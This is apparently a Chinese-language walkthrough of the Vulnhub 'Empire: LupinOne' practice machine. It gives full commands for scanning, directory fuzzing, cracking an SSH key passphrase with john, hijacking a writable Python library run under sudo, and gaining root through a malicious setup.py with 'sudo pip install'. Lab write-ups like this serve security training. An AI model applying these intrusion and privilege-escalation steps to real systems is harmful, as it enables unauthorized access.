Vulnhub-Empire: LupinOne题解
Vulnhub-Empire: LupinOne题解
本靶机为Vulnhub上Empire系列之LupinOne,地址:EMPIRE: LUPINONE
扫描与发现
利用arp-scan
命令扫描靶机IP
arp-scan -l
利用nmap
扫描开放端口
nmap -sV -p- 192.168.164.190
目标探索
浏览器打开80端口,发现是一张图片,没有其他内容,检测源代码也没有发现有用信息
检查robots.txt
文件发现/~myfiles
目录,打开却发现Error 404
在旧版本的Apache服务器中,~ 指代用户主目录,我们可以尝试找到与此相似的路径,使用wfuzz
工具对其路径进行测试,发现~secret
目录
wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/common.txt --hc 403,404 http://192.168.164.190/~FUZZ
在浏览器中打开该路径~secret/
发现一段文字
上面称这是一个秘密目录,这里隐藏了他创建的ssh 私钥文件,并且得知用户名为icex64
。接下来继续在该路径下搜索文件,得到.mysecret.txt
文件
wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,403 -u http://192.168.164.190/~secret/.FUZZ.txt
浏览器打开发现是一串编码后的字符串
可以使用编码识别工具进行识别,发现其为Base58,使用在线工具进行解码得到私钥文件内容
拿到shell
在本地创建文件key,将私钥保存到其中,然后使用john
工具破解密码
python2 /usr/share/john/ssh2john.py key > keyhash
john keyhash --wordlist=/usr/share/wordlists/fasttrack.txt
得到密码为P@55w0rd!
。将key 文件权限设为600(否则无法连接),然后利用ssh连接icex64
用户
chmod 600 key
ssh icex64@192.168.164.190 -i key
水平越权
拿到shell后搜索suid
文件,Capability
文件,sudo -l
发现可以执行一条命令
来到/home/arsene目录下,查看heist.py文件权限,没有修改权限,查看内容,发现其调用了webbrower.open()
我们通过find
找到该文件的位置,查看其权限,发现可以写入内容
find /usr/ -name '*webbrowser*'
ls -l /usr/lib/python3.9/webbrowser.py
我们可以直接编辑该文件,写入调用shell脚本(或者反弹shell脚本)
保存退出,执行,获得arsene用户shell
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
权限提升
拿到arsene用户权限后,查看sudo -l
,发现可以免密执行/usr/bin/pip
sudo -l
我们可以在当前路径下新创建一个目录并打开在里面创建setup.py
文件,里面写入我们想运行的python脚本,如反弹shell,然后利用pip install
以root权限执行。
mkdir tmp
cd tmp
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py
sudo pip install .
来到root目录下,打开root.txt拿到flag